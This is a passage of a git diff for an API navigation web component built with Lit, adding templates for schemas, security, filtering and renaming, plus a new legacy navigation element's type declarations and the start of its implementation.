+    }
+    return html`<a
+      href="${url}"
+      target="_blank"
+      part="api-navigation-list-item"
+      class="${classMap(classes)}"
+      tabindex="-1"
+      data-graph-id="${id}"
+      data-graph-shape="documentation"
+      @click="${this[externalDocumentationHandler]}"
+    >
+      ${nameEditor ? 
+        this[renameInputTemplate](id, label, 'documentation') 
+        : html`
+        ${label}
+        <arc-icon class="icon new-tab" title="Opens in a new tab" icon="openInNew"></arc-icon>
+        `
+      }
+    </a>`;
+  }
+
+  /**
+   * @return {TemplateResult|string} The template for the types (schemas) section.
    */
-  [typesTemplate]() {
-    if (!this.hasTypes) {
-      return '';
-    }
-    const items = this[getFilteredType](this[typesValue]);
-    if (!items || !items.length) {
+  [schemasTemplate]() {
+    const { edit } = this;
+    const items = this[getFilteredSchemas]();
+    if (!items.length && !edit) {
       return '';
     }
-
+    const { schemasOpened } = this;
+    const classes = {
+      schemas: true,
+      opened: schemasOpened,
+    };
+    const toggleState = schemasOpened ? 'Expanded' : 'Collapsed';
+    const addingSchema = this[addingSchemaValue];
+    const showItems = !!items.length;
+    const showEmpty = !showItems && !addingSchema;
     return html`
-      <section class="types" ?data-opened="${this.typesOpened}">
-        <div
-          class="section-title"
-          data-section="types"
-          @click="${this[toggleSectionHandler]}"
-          title="Toggle types list"
+    <section
+      class="${classMap(classes)}"
+    >
+      <div
+        class="section-title"
+        data-property="schemasOpened"
+        data-section="schemas"
+        @click="${this[toggleSectionClickHandler]}"
+        @keydown="${this[toggleSectionKeydownHandler]}"
+        title="Toggle the list"
+        aria-haspopup="true"
+        role="menuitem"
+      >
+        <div class="title-h3">Schemas</div>
+        <anypoint-icon-button
+          part="toggle-button"
+          class="toggle-button section"
+          aria-label="Toggle the list"
+          ?anypoint="${this.anypoint}"
+          tabindex="-1"
         >
-          <div class="title-h3">Types</div>
-          <anypoint-icon-button
-            part="toggle-button"
-            class="toggle-button"
-            noink="${this.noink}"
-            aria-label="Toggle types"
-            ?anypoint="${this.anypoint}"
-            tabindex="-1"
-            data-toggle="types"
-          >
-            <span class="icon">${keyboardArrowDown}</span>
-          </anypoint-icon-button>
+          <arc-icon aria-label="${toggleState}" icon="keyboardArrowDown"></arc-icon>
+        </anypoint-icon-button>
+      </div>
+      <anypoint-collapse .opened="${schemasOpened}">
+        <div class="children">
+          ${addingSchema ? this[addSchemaInputTemplate]() : ''}
+          ${showItems ? items.map((item) => this[schemaTemplate](item)) : ''}
+          ${showEmpty ? html`<p class="empty-section">No schemas in this API</p>` : ''}
         </div>
-        <anypoint-collapse .opened="${this.typesOpened}">
-          <div class="children">
-            ${items.map(
-              item =>
-                html`<div
-                  part="api-navigation-list-item"
-                  class="list-item"
-                  role="menuitem"
-                  tabindex="0"
-                  data-api-id="${item.id}"
-                  data-shape="schema"
-                  data-type-name="${item.label}"
-                  @click="${this[itemClickHandler]}"
-                >
-                  ${item.label}
-                </div>`
-            )}
-          </div>
-        </anypoint-collapse>
-      </section>
+      </anypoint-collapse>
+    </section>
     `;
   }
 
   /**
-   * @return {TemplateResult|string} template for security schemes list.
+   * @param {NodeShapeItem} item
+   * @return {TemplateResult} The template for the documentation list item.
    */
-  [securityTemplate]() {
-    if (!this.hasSecurity) {
-      return '';
+  [schemaTemplate](item) {
+    const { id, displayName, name, selected, secondarySelected, nameEditor } = item;
+    const label = displayName || name || 'Unnamed schema';
+    const classes = {
+      'list-item': true,
+      schema: true,
+      selected, 
+      secondarySelected,
     }
-    const items = this[getFilteredType](this[securityValue]);
-    if (!items || !items.length) {
+    return html`
+    <div
+      part="api-navigation-list-item"
+      class="${classMap(classes)}"
+      role="menuitem"
+      tabindex="-1"
+      data-graph-id="${id}"
+      data-graph-shape="schema"
+      @click="${this[itemClickHandler]}"
+    >
+      ${nameEditor ? this[renameInputTemplate](id, label, 'schema') : label}
+   </div>`;
+  }
+
+  /**
+   * @return {TemplateResult|string} The template for the security section.
+   */
+  [securitiesTemplate]() {
+    const items = this[getFilteredSecurity]();
+    if (!items.length) {
       return '';
     }
-
-    return html` <section
-      class="security"
-      ?data-opened="${this.securityOpened}"
+    const { securityOpened } = this;
+    const classes = {
+      security: true,
+      opened: securityOpened,
+    };
+    const toggleState = securityOpened ? 'Expanded' : 'Collapsed';
+    return html`
+    <section
+      class="${classMap(classes)}"
     >
       <div
         class="section-title"
+        data-property="securityOpened"
         data-section="security"
-        @click="${this[toggleSectionHandler]}"
-        title="Toggle security list"
+        @click="${this[toggleSectionClickHandler]}"
+        @keydown="${this[toggleSectionKeydownHandler]}"
+        title="Toggle the list"
+        aria-haspopup="true"
+        role="menuitem"
       >
         <div class="title-h3">Security</div>
         <anypoint-icon-button
           part="toggle-button"
-          class="toggle-button"
-          noink="${this.noink}"
-          aria-label="Toggle security"
+          class="toggle-button section"
+          aria-label="Toggle the list"
           ?anypoint="${this.anypoint}"
           tabindex="-1"
-          data-toggle="security"
         >
-          <span class="icon">${keyboardArrowDown}</span>
+          <arc-icon aria-label="${toggleState}" icon="keyboardArrowDown"></arc-icon>
         </anypoint-icon-button>
       </div>
-      <anypoint-collapse .opened="${this.securityOpened}">
+      <anypoint-collapse .opened="${securityOpened}">
         <div class="children">
-          ${items.map(
-            item => html`<div
-              part="api-navigation-list-item"
-              class="list-item"
-              role="menuitem"
-              tabindex="0"
-              data-api-id="${item.id}"
-              data-shape="security"
-              data-security-name="${item.label}"
-              @click="${this[itemClickHandler]}"
-            >
-              ${item.label}
-            </div>`
-          )}
+          ${items.map((item) => this[securityTemplate](item))}
         </div>
       </anypoint-collapse>
-    </section>`;
+    </section>
+    `;
+  }
+
+  /**
+   * @param {SecurityItem} item
+   * @return {TemplateResult} The template for the security list item.
+   */
+  [securityTemplate](item) {
+    const { id, displayName, name, selected, secondarySelected, type } = item;
+    const label = displayName || name || 'Unnamed security';
+    const classes = {
+      'list-item': true,
+      security: true,
+      selected, 
+      secondarySelected,
+    }
+    return html`
+    <div
+      part="api-navigation-list-item"
+      class="${classMap(classes)}"
+      role="menuitem"
+      tabindex="-1"
+      data-graph-id="${id}"
+      data-graph-shape="security"
+      @click="${this[itemClickHandler]}"
+    >
+      ${type}: ${label}
+   </div>`;
+  }
+
+  /**
+   * @return {TemplateResult|string} The template for the filter input.
+   */
+  [filterTemplate]() {
+    const { filter } = this;
+    if (!filter) {
+      return '';
+    }
+    return html`
+    <div class="filter-wrapper">
+      <input 
+        type="search" 
+        name="filter" 
+        aria-label="Filter the menu" 
+        placeholder="Filter" 
+        @search="${this[searchHandler]}"
+        @change="${this[searchHandler]}"
+      />
+      <arc-icon icon="search"></arc-icon>
+    </div>
+    `;
+  }
+
+  /**
+   * @return {TemplateResult} The template for the new endpoint input.
+   */
+  [addEndpointInputTemplate]() {
+    return html`
+    <div
+      part="api-navigation-input-item"
+      class="input-item add-endpoint-input"
+      data-graph-shape="resource"
+    >
+      <input 
+        type="text" 
+        class="add-endpoint-input" 
+        @keydown="${this[addEndpointKeydownHandler]}"
+        placeholder="Endpoint's path"
+        aria-label="Enter the path for the endpoint"
+      >
+      <arc-icon icon="add" title="Enter to save, ESC to cancel"></arc-icon>
+    </div>
+    `;
+  }
+
+  /**
+   * @return {TemplateResult} The template for the new documentation input.
+   */
+  [addDocumentationInputTemplate]() {
+    const isExternal = this[addingExternalValue];
+    return html`
+    ${isExternal ? html`
+    <div
+      part="api-navigation-input-item"
+      class="input-item add-external-doc-input"
+    >
+      <input 
+        type="url" 
+        class="add-external-doc-input" 
+        aria-label="Enter the documentation URL"
+        placeholder="Documentation URL"
+      />
+    </div>
+    ` : ''}
+    <div
+      part="api-navigation-input-item"
+      class="input-item add-documentation-input"
+      data-graph-shape="documentation"
+    >
+      <input 
+        type="text" 
+        class="add-documentation-input" 
+        aria-label="Enter name for the documentation"
+        placeholder="Documentation title"
+        @keydown="${this[addDocumentationKeydownHandler]}"/>
+      <arc-icon icon="add" title="Enter to save, ESC to cancel"></arc-icon>
+    </div>
+    `;
+  }
+
+  /**
+   * @return {TemplateResult} The template for the new schema input.
+   */
+  [addSchemaInputTemplate]() {
+    return html`
+    <div
+      part="api-navigation-input-item"
+      class="input-item add-schema-input"
+      data-graph-shape="schema"
+    >
+      <input type="text" class="add-schema-input" @keydown="${this[addSchemaKeydownHandler]}"/>
+      <arc-icon icon="add" title="Enter to save, ESC to cancel"></arc-icon>
+    </div>
+    `;
+  }
+
+  /**
+   * @param {string} id The domain id of the item being edited
+   * @param {string} label The current name to render.
+   * @param {SelectionType} type
+   * @returns {TemplateResult} The template for the rename input. 
+   */
+  [renameInputTemplate](id, label='', type) {
+    return html`
+    <input 
+      type="text" 
+      .value="${label}" 
+      required
+      class="rename"
+      data-id="${id}"
+      data-type="${type}"
+      @click="${cancelEvent}"
+      @keydown="${this[renameKeydownHandler]}"
+      @blur="${this[renameBlurHandler]}"
+    />
+    `;
   }
 }
diff --git a/src/elements/ApiNavigationLegacyElement.d.ts b/src/elements/ApiNavigationLegacyElement.d.ts
new file mode 100644
index 0000000..064d4cb
--- /dev/null
+++ b/src/elements/ApiNavigationLegacyElement.d.ts
@@ -0,0 +1,677 @@
+import {LitElement, TemplateResult} from 'lit-element';
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
+import { EndPoint } from '../helpers/amf';
+import { MethodItem, EndpointItem, SecurityItem, TypeItem, DocumentationItem, TargetModel, NavigationItem, SelectionType } from '../types';
+
+export const collectData: unique symbol;
+export const queryValue: unique symbol;
+export const queryDebouncer: unique symbol;
+export const hasPassiveSelection: unique symbol;
+export const getFilteredType: unique symbol;
+export const docsValue: unique symbol;
+export const typesValue: unique symbol;
+export const securityValue: unique symbol;
+export const endpointsValue: unique symbol;
+export const endpointsTemplate: unique symbol;
+export const documentationTemplate: unique symbol;
+export const typesTemplate: unique symbol;
+export const securityTemplate: unique symbol;
+export const overviewTemplate: unique symbol;
+export const endpointPathTemplate: unique symbol;
+export const endpointTemplate: unique symbol;
+export const methodTemplate: unique symbol;
+export const documentationItemTemplate: unique symbol;
+export const isFragmentValue: unique symbol;
+export const selectedItemValue: unique symbol;
+export const updatedOpenedOperations: unique symbol;
+export const domainIdValue: unique symbol;
+export const domainTypeValue: unique symbol;
+export const selectedChanged: unique symbol;
+export const selectionChanged: unique symbol;
+export const operationsOpened: unique symbol;
+export const shiftTabPressed: unique symbol;
+export const focusedItemPrivate: unique symbol;
+export const focusedItemValue: unique symbol;
+export const summaryTemplate: unique symbol;
+export const itemClickHandler: unique symbol;
+export const queryChanged: unique symbol;
+export const flushQuery: unique symbol;
+export const rearrangeEndpointsValue: unique symbol;
+export const renderFullPathsValue: unique symbol;
+export const itemsValue: unique symbol;
+export const resetTabindices: unique symbol;
+export const navigationHandler: unique symbol;
+export const focusHandler: unique symbol;
+export const keydownHandler: unique symbol;
+export const collectSecurityData: unique symbol;
+export const collectDocumentationData: unique symbol;
+export const collectTypeData: unique symbol;
+export const traverseDeclarations: unique symbol;
+export const traverseReferences: unique symbol;
+export const traverseEncodes: unique symbol;
+export const rearrangeEndpoints: unique symbol;
+export const closeCollapses: unique symbol;
+export const appendSecurityItem: unique symbol;
+export const appendTypeItem: unique symbol;
+export const validUrl: unique symbol;
+export const appendDocumentationItem: unique symbol;
+export const appendEndpointItem: unique symbol;
+export const appendModelItem: unique symbol;
+export const createOperationModel: unique symbol;
+export const toggleSectionHandler: unique symbol;
+export const toggleSection: unique symbol;
+export const selectItem: unique symbol;
+export const addSelection: unique symbol;
+export const clearSelection: unique symbol;
+export const cleanPassiveSelection: unique symbol;
+export const handlePassiveNavigation: unique symbol;
+export const selectMethodPassive: unique symbol;
+export const toggleEndpoint: unique symbol;
+export const toggleEndpointDocumentation: unique symbol;
+export const toggleEndpointButton: unique symbol;
+export const computeEndpointPadding: unique symbol;
+export const computeEndpointPaddingLeft: unique symbol;
+export const computeMethodPadding: unique symbol;
+export const computeOperationPaddingLeft: unique symbol;
+export const getFilteredEndpoints: unique symbol;
+export const listActiveItems: unique symbol;
+export const listSectionActiveNodes: unique symbol;
+export const onUpKey: unique symbol;
+export const onDownKey: unique symbol;
+export const onEscKey: unique symbol;
+export const onSpace: unique symbol;
+export const onShiftTabDown: unique symbol;
+
+/**
+ * Computes label for an endpoint when name is missing and the endpoint
+ * is indented, hence name should be truncated.
+ *
+ * @param currentPath Endpoint's path
+ * @param parts Path parts
+ * @param indent Endpoint indentation
+ * @param basePaths List of base paths already used.
+ * @returns Name of the path to render.
+ */
+export declare function computePathName(currentPath: string, parts: string[], indent: number, basePaths: Array<string>): string;
+
+
+/**
+ * Computes condition value to render path label.
+ *
+ * @param allowPaths Component configuration property.
+ * @param renderPath Endpoint property
+ * @returns True if both arguments are truly.
+ */
+export declare function computeRenderPath(allowPaths: boolean, renderPath: boolean): boolean;
+
+/**
+ * `api-navigation`
+ * A navigation for an API spec using AMF model.
+ *
+ * This element is to replace deprecated `raml-path-selector`.
+ * It is lightweight and much less complex in comparison.
+ *
+ * The element works with [AMF](https://github.com/mulesoft/amf)
+ * json/ld model. When the model is set it computes list of documentation
+ * nodes, types, endpoints, methods and security schemas.
+ * As a result user can select any of the items in the UI and the application
+ * is informed about user choice via custom event.
+ *
+ * The selection is a selected API shape `@id`. The application is responsible
+ * for computing the model selected by the user.
+ *
+ * Note, this element does not contain polyfills for Array platform features.
+ * Use `arc-polyfills` to add support for IE and Safari 9.
+ *
+ * ## Passive navigation
+ *
+ * Passive navigation means that a navigation event occurred but it wasn't
+ * invoked by intentional user interaction. For example
+ * `api-endpoint-documentation` component renders list of documentations for
+ * HTTP methods. While scrolling through the list navigation context
+ * changes (user reads documentation of a method) but the navigation never
+ * was caused by user intentional interaction.
+ * This event, annotated with `passive: true` property in the detail object
+ * prohibits other element from taking a navigation action but some
+ * may reflect the change in the UI.
+ * 
+ * @fires apinavigate
+ */
+export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
+  [queryValue]: string;
+  [queryDebouncer]: boolean;
+  [hasPassiveSelection]: boolean;
+  [selectedItemValue]: HTMLElement;
+  [domainIdValue]: string;
+  [domainTypeValue]: string;
+  [operationsOpened]: boolean;
+  [shiftTabPressed]: boolean;
+  [rearrangeEndpointsValue]: boolean;
+  [renderFullPathsValue]: boolean;
+  [focusedItemPrivate]: HTMLElement;
+  [focusedItemValue]: HTMLElement;
+  [itemsValue]: Element[];
+  /**
+   * A model `@id` of selected documentation part.
+   * Special case is for `summary` view. It's not part of an API
+   * but most applications has some kins of summary view for the
+   * API.
+   * @attribute
+   */
+  domainId: string;
+
+  /**
+   * Type of the selected item.
+   * One of `documentation`, `type`, `security`, `endpoint`, `method`
+   * or `summary`.
+   *
+   * This property is set after `domainId` property.
+   * @attribute
+   */
+  domainType: SelectionType;
+
+  /**
+   * If set it renders `API summary` menu option.
+   * It will allow to set `domainId` and `domainType` to `summary`
+   * when this option is set.
+   * @attribute
+   */
+  summary: boolean;
+
+  /**
+   * A label for the `summary` section.
+   * @default "Summary"
+   * @attribute
+   */
+  summaryLabel: string;
+
+  /**
+   * Computed list of documentation items in the API.
+   */
+  [docsValue]: DocumentationItem[];
+
+  /**
+   * Determines and changes state of documentation panel.
+   * @attribute
+   */
+  docsOpened: boolean;
+
+  /**
+   * Computed list of "type" items in the API.
+   */
+  [typesValue]: TypeItem[];
+
+  /**
+   * Determines and changes state of types panel.
+   * @attribute
+   */
+  typesOpened: boolean;
+
+  /**
+   * Computed list of Security schemes items in the API.
+   */
+  [securityValue]: SecurityItem[];
+
+  /**
+   * Determines and changes state of security panel.
+   * @attribute
+   */
+  securityOpened: boolean;
+
+  /**
+   * Computed list of endpoint items in the API.
+   */
+  [endpointsValue]: EndpointItem[];
+
+  /**
+   * Determines and changes state of endpoints panel.
+   * @attribute
+   */
+  endpointsOpened: boolean;
+
+  /**
+   * If true, the element will not produce a ripple effect when interacted with via the pointer.
+   * @attribute
+   */
+  noink: boolean;
+
+  /**
+   * Filters list elements by this value when set.
+   * Clear the value to reset the search.
+   *
+   * This is not currently exposed in element's UI due
+   * to complexity of search and performance.
+   * @attribute
+   */
+  query: string;
+
+  /**
+   * Size of endpoint indentation for nested resources.
+   * In pixels.
+   *
+   * The attribute name for this property is `indent-size`. Note, that this
+   * will change to web consistent name `indentSize` in the future.
+   * @attribute
+   */
+  indentSize: number;
+
+  /**
+   * Flag set when passed AMF model is a RAML fragment.
+   */
+  [isFragmentValue]: boolean;
+
+  /**
+   * When set it renders full path below endpoint name if the endpoint has
+   * a name (different than the path).
+   * This is not always recommended to use this option as some complex APIs
+   * may render this component difficult to understand.
+   * @attribute
+   */
+  allowPaths: boolean;
+
+  /**
+   * If this value is set, then the navigation component will sort the list
+   * of endpoints based on the `path` value of the endpoint, keeping the order
+   * of which endpoint was first in the list, relative to each other
+   * @attribute
+   */
+  rearrangeEndpoints: boolean;
+
+  /**
+   * Enables Anypoint platform styles.
+   * @attribute
+   */
+  anypoint: boolean;
+
+  /**
+   * Determines and changes state of endpoints.
+   * @attribute
+   */
+  operationsOpened: boolean;
+
+  /**
+   * No overview as a separated element. Overview can be seen by clicking the endpoint label.
+   * @attribute
+   */
+  noOverview: boolean;
+
+  /**
+   * When set, avoids truncating and indentation of endpoint paths.
+   * Instead, the full path for each endpoint will be rendered.
+   * @attribute
+   */
+  renderFullPaths: boolean;
+
+  /**
+   * true when `[docsValue]` property is set with values
+   */
+  get hasDocs(): boolean;
+
+  /**
+   * true when `[typesValue]` property is set with values
+   */
+  get hasTypes(): boolean;
+
+  /**
+   * true when `[securityValue]` property is set with values
+   */
+  get hasSecurity(): boolean;
+
+  /**
+   * true when `[endpointsValue]` property is set with values
+   */
+  get hasEndpoints(): boolean;
+  /**
+   * True when summary should be rendered.
+   * Summary should be rendered only when `summary` is set and
+   * current model is not a RAML fragment.
+   */
+  get summaryRendered(): boolean;
+
+  /**
+   * The currently selected item.
+   */
+  get selectedItem(): HTMLElement;
+  /**
+   * The currently focused item.
+   */
+  get focusedItem(): HTMLElement;
+
+  /**
+   * Ensures aria role attribute is in place.
+   * Attaches element's listeners.
+   */
+  connectedCallback(): void;
+  disconnectedCallback(): void;
+
+  /**
+   * Collects the information about the API and creates data model
+   * for the navigation element
+   *
+   * @returns Data model for the API navigation
+   */
+  [collectData](model: object): TargetModel;
+
+  /**
+   * Collects the data from the security fragment
+   *
+   * @param model Security fragment model
+   */
+  [collectSecurityData](model: object): TargetModel|undefined;
+
+  /**
+   * Collects the data from the documentation fragment
+   *
+   * @param model Documentation fragment model
+   */
+  [collectDocumentationData](model: object): TargetModel|undefined;
+
+  /**
+   * Collects the data from the type fragment
+   *
+   * @param model Type fragment model
+   */
+  [collectTypeData](model: object): TargetModel|undefined;
+
+  /**
+   * Traverses the `http://raml.org/vocabularies/document#declares`
+   * node to find types and security schemes.
+   *
+   * @param target Target object where to put data.
+   */
+  [traverseDeclarations](model: object, target: TargetModel): void;
+
+  /**
+   * Traverses the `http://raml.org/vocabularies/document#references`
+   *
+   * @param model AMF model
+   * @param target Target object where to put data.
+   */
+  [traverseReferences](model: object, target: TargetModel): void;
+
+  /**
+   * Traverses the `http://raml.org/vocabularies/document#encodes`
+   * node to find documentation and endpoints.
+   *
+   * @param target Target object where to put data.
+   */
+  [traverseEncodes](model: object, target: TargetModel): void;
+
+  /**
+   * Sort endpoints alphabetically based on path
+   */
+  [rearrangeEndpoints](endpoints: EndPoint[]): EndPoint[];
+
+  /**
+   * Appends declaration of navigation data model to the target if
+   * it matches documentation or security types.
+   */
+  [appendModelItem](item: object, target: TargetModel): void;
+
+  /**
+   * Appends "type" item to the results.
+   *
+   * @param item Type item declaration
+   */
+  [appendTypeItem](item: object, target: TargetModel): void;
+
+  /**
+   * Appends "security" item to the results.
+   *
+   * @param item Type item declaration
+   */
+  [appendSecurityItem](item: object, target: TargetModel): void;
+
+  /**
+   * Appends "documentation" item to the results.
+   *
+   * @param item Type item declaration
+   */
+  [appendDocumentationItem](item: object, target: TargetModel): void;
+
+  /**
+   * Appends "endpoint" item to the results.
+   * This also iterates over methods to extract method data.
+   *
+   * @param item Endpoint item declaration
+   */
+  [appendEndpointItem](item: object, target: TargetModel): void;
+
+  /**
+   * Creates the view model for an operation.
+   *
+   * @param item Operation AMF model
+   * @returns Method view model
+   */
+  [createOperationModel](item: object): MethodItem;
+
+  /**
+   * Click handler for section name item.
+   * Toggles the view.
+   */
+  [toggleSectionHandler](e: MouseEvent): void;
+  [toggleSection](node: HTMLElement): void;
+
+  /**
+   * Selects new item in the menu.
+   */
+  [selectItem](node: HTMLElement): void;
+
+  /**
+   * Toggles selection state of a node that has `data-api-id` set to
+   * `id`.
+   *
+   * @param id Selected node id.
+   * @returns Type of selected node.
+   */
+  [addSelection](id: string): string|undefined;
+
+  /**
+   * Removes any current selection that may exist.
+   */
+  [clearSelection](): void;
+
+  /**
+   * Toggles endpoint operations list.
+   *
+   * @param id ID of the endpoint.
+   */
+  toggleOperations(id: string): void;
+
+  /**
+   * Updates the state of selected element when `domainId` changes.
+   *
+   * @param current New selection
+   */
+  [selectedChanged](current: string): void;
+
+  /**
+   * When `query` property change it runs the filter function
+   * in a debouncer set for ~50 ms.
+   */
+  [queryChanged](): void;
+
+  /**
+   * Calls `render()` function on each data repeater that have filterable
+   * items.
+   * It set's `__effectiveQuery` property on the element that is beyond
+   * Polymer's data binding system so it skips 2 function calls each time
+   * it is read. In a repeater filter function that can be a lot.
+   *
+   * Also the `__effectiveQuery` is transformed to perform text search.
+   */
+  [flushQuery](): void;
+
+  /**
+   * Dispatches the navigation event on selection change.
+   *
+   * @param selected Selected id
+   * @param selectedType Type of AMF shape
+   */
+  [selectionChanged](selected: string, selectedType: string): void;
+
+  /**
+   * Navigation item click handler.
+   * It used to be common function for all clicks inside the element
+   * but in tests not all events were handled.
+   */
+  [itemClickHandler](e: MouseEvent): void;
+
+  /**
+   * Handler for the navigation event. Updates the selection
+   * if dispatched from other element.
+   */
+  [navigationHandler](e: CustomEvent): void;
+  [handlePassiveNavigation](detail: object): void;
+  [cleanPassiveSelection](): void;
+  [selectMethodPassive](id: string): void;
+
+  /**
+   * Endpoint label click handler.
+   * Toggles endpoint's methods list.
+   */
+  [toggleEndpoint](e: MouseEvent): void;
+
+  /**
+   * Computes `style` attribute value for endpoint item.
+   * It sets padding-left property to indent resources.
+   * See https://github.com/mulesoft/api-console/issues/571.
+   *
+   * @param factor Computed indent factor for the resource
+   * @param size The size of indentation in pixels.
+   * @returns Style attribute value for the item.
+   */
+  [computeEndpointPadding](factor: Number, size: Number): String;
+  [computeMethodPadding](factor: Number, size: Number): string;
+
+  /**
+   * Computes operation list item left padding from CSS variables.
+   */
+  [computeOperationPaddingLeft](): Number;
+
+  /**
+   * Computes endpoint list item left padding from CSS variables.
+   */
+  [computeEndpointPaddingLeft](): Number;
+
+  /**
+   * Returns filtered list of items to render in the menu list.
+   * When `query` is set it tests `label` property of each item if it contains
+   * the query. Otherwise it returns all items.
+   *
+   * @param prop Name of the source property keeping array values to render.
+   */
+  [getFilteredType](prop: NavigationItem[]): NavigationItem[]|undefined;
+
+  /**
+   * Returns a list of endpoints to render.
+   * When `query` is set it returns filtered list of endpoints for given query.
+   * Otherwise it returns all endpoints.
+   *
+   * @returns Filtered list of endpoints
+   */
+  [getFilteredEndpoints](): EndpointItem[]|undefined;
+
+  /**
+   * Closes all `iron-collapse` elements
+   */
+  [closeCollapses](): void;
+
+  /**
+   * A handler for the focus event on this element.
+   */
+  [focusHandler](e: FocusEvent): void;
+
+  /**
+   * Focuses on the previous item in the navigation.
+   */
+  focusPrevious(): void;
+
+  /**
+   * Focuses on the next item in the navigation.
+   */
+  focusNext(): void;
+
+  /**
+   * Resets all tabindex attributes to the appropriate value based on the
+   * current selection state. The appropriate value is `0` (focusable) for
+   * the default selected item, and `-1` (not keyboard focusable) for all
+   * other items. Also sets the correct initial values for aria-selected
+   * attribute, true for default selected item and false for others.
+   */
+  [resetTabindices](): void;
+
+  /**
+   * Lists all HTML elements that are currently rendered in the view.
+   * @returns Currently rendered items.
+   */
+  [listActiveItems](): Element[];
+
+  /**
+   * @param selector The prefix for the query selector
+   * @returns Nodes returned from query function.
+   */
+  [listSectionActiveNodes](selector: string): Element[];
+
+  /**
+   * Handler for the keydown event.
+   */
+  [keydownHandler](e: KeyboardEvent): void;
+
+  /**
+   * Handler that is called when the up key is pressed.
+   *
+   * @param e A key combination event.
+   */
+  [onUpKey](e: KeyboardEvent): void;
+
+  /**
+   * Handler that is called when the down key is pressed.
+   *
+   * @param e A key combination event.
+   */
+  [onDownKey](e: KeyboardEvent): void;
+
+  /**
+   * Handler that is called when the esc key is pressed.
+   */
+  [onEscKey](): void;
+
+  /**
+   * A handler for the space bar key down.
+   */
+  [onSpace](e: KeyboardEvent): void;
+
+  /**
+   * Handler that is called when a shift+tab keypress is detected by the menu.
+   */
+  [onShiftTabDown](): void;
+
+  /**
+   * Renders a template for endpoints and methods list.
+   */
+  [endpointsTemplate](): TemplateResult|string;
+  [endpointTemplate](item: EndpointItem): TemplateResult;
+  [methodTemplate](endpointItem: EndpointItem, methodItem: MethodItem): TemplateResult;
+
+  /**
+   * Renders a template for documentation list.
+   */
+  [documentationTemplate](): TemplateResult|string;
+
+  /**
+   * @returns Template for an docs item
+   */
+  [documentationItemTemplate](item: DocumentationItem): TemplateResult;
+
+  /**
+   * Renders a template for types list.
+   */
+  [typesTemplate](): TemplateResult|string;
+
+  /**
+   * Renders a template for security schemes list.
+   */
+  [securityTemplate](): TemplateResult|string;
+  render(): TemplateResult;
+}
diff --git a/src/elements/ApiNavigationLegacyElement.js b/src/elements/ApiNavigationLegacyElement.js
new file mode 100644
index 0000000..ba20649
--- /dev/null
+++ b/src/elements/ApiNavigationLegacyElement.js
@@ -0,0 +1,2224 @@
+/* eslint-disable lit-a11y/click-events-have-key-events */
+import { LitElement, html } from 'lit-element';
+import '@anypoint-web-components/awc/anypoint-icon-button.js';
+import '@anypoint-web-components/awc/anypoint-collapse.js';
+import { keyboardArrowDown, openInNew, } from '@advanced-rest-client/icons/ArcIcons.js';
+import { HttpStyles } from '@advanced-rest-client/app';
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
+import navStyles from './styles/Navigation.js';
+import { EventTypes } from '../events/EventTypes.js'
+import { NavigationEvents } from '../events/NavigationEvents.js';
+
+/* eslint-disable no-plusplus */
+/* eslint-disable no-continue */
+/* eslint-disable max-len */
+/* eslint-disable no-param-reassign */
+/* eslint-disable class-methods-use-this */
+/* eslint-disable prefer-destructuring */
+/* eslint-disable consistent-return */
+
+/** @typedef {import('@anypoint-web-components/awc').AnypointCollapseElement} AnypointCollapseElement */
+/** @typedef {import('lit-element').TemplateResult} TemplateResult */
+/** @typedef {import('../types').MethodItem} MethodItem */
+/** @typedef {import('../types').EndpointItem} EndpointItem */
+/** @typedef {import('../types').SecurityItem} SecurityItem */
+/** @typedef {import('../types').TypeItem} TypeItem */
+/** @typedef {import('../types').DocumentationItem} DocumentationItem */
+/** @typedef {import('../types').TargetModel} TargetModel */
+/** @typedef {import('../types').NavigationItem} NavigationItem */
+/** @typedef {import('../types').SelectionType} SelectionType */
+/** @typedef {import('../helpers/amf').EndPoint} EndPoint */
+/** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+/** @typedef {import('../events/NavigationEvents').ApiNavigationEventDetail} ApiNavigationEventDetail */
+
+export const openedOperationsValue = Symbol('openedOperationsValue');
+export const collectData = Symbol('collectData');
+export const queryValue = Symbol('queryValue');
+export const queryDebouncer = Symbol('queryDebouncer');
+export const hasPassiveSelection = Symbol('hasPassiveSelection');
+export const getFilteredType = Symbol('getFilteredType');
+export const docsValue = Symbol('docsValue');
+export const typesValue = Symbol('typesValue');
+export const securityValue = Symbol('securityValue');
+export const endpointsValue = Symbol('endpointsValue');
+export const endpointsTemplate = Symbol('endpointsTemplate');
+export const documentationTemplate = Symbol('documentationTemplate');
+export const typesTemplate = Symbol('typesTemplate');
+export const securityTemplate = Symbol('securityTemplate');
+export const overviewTemplate = Symbol('overviewTemplate');
+export const endpointPathTemplate = Symbol('endpointPathTemplate');
+export const endpointTemplate = Symbol('endpointTemplate');
+export const methodTemplate = Symbol('methodTemplate');
+export const documentationItemTemplate = Symbol('documentationItemTemplate');
+export const isFragmentValue = Symbol('isFragmentValue');
+export const selectedItemValue = Symbol('selectedItemValue');
+export const updatedOpenedOperations = Symbol('updatedOpenedOperations');
+export const domainIdValue = Symbol('domainIdValue');
+export const domainTypeValue = Symbol('domainTypeValue');
+export const selectedChanged = Symbol('selectedChanged');
+export const selectionChanged = Symbol('selectionChanged');
+export const operationsOpened = Symbol('operationsOpened');
+export const addOpenedOperations = Symbol('addOpenedOperations');
+export const shiftTabPressed = Symbol('shiftTabPressed');
+export const focusedItemPrivate = Symbol('focusedItemPrivate');
+export const focusedItemValue = Symbol('focusedItemValue');
+export const summaryTemplate = Symbol('summaryTemplate');
+export const itemClickHandler = Symbol('itemClickHandler');
+export const queryChanged = Symbol('queryChanged');
+export const flushQuery = Symbol('flushQuery');
+export const queryValue2 = Symbol('queryValue2');
+export const noOverviewValue = Symbol('noOverviewValue');
+export const rearrangeEndpointsValue = Symbol('rearrangeEndpointsValue');
+export const renderFullPathsValue = Symbol('renderFullPathsValue');
+export const itemsValue = Symbol('itemsValue');
+export const resetTabindices = Symbol('resetTabindices');
+export const navigationHandler = Symbol('navigationHandler');
+export const focusHandler = Symbol('focusHandler');
+export const keydownHandler = Symbol('keydownHandler');
+export const collectSecurityData = Symbol('collectSecurityData');
+export const collectDocumentationData = Symbol('collectDocumentationData');
+export const collectTypeData = Symbol('collectTypeData');
+export const traverseDeclarations = Symbol('traverseDeclarations');
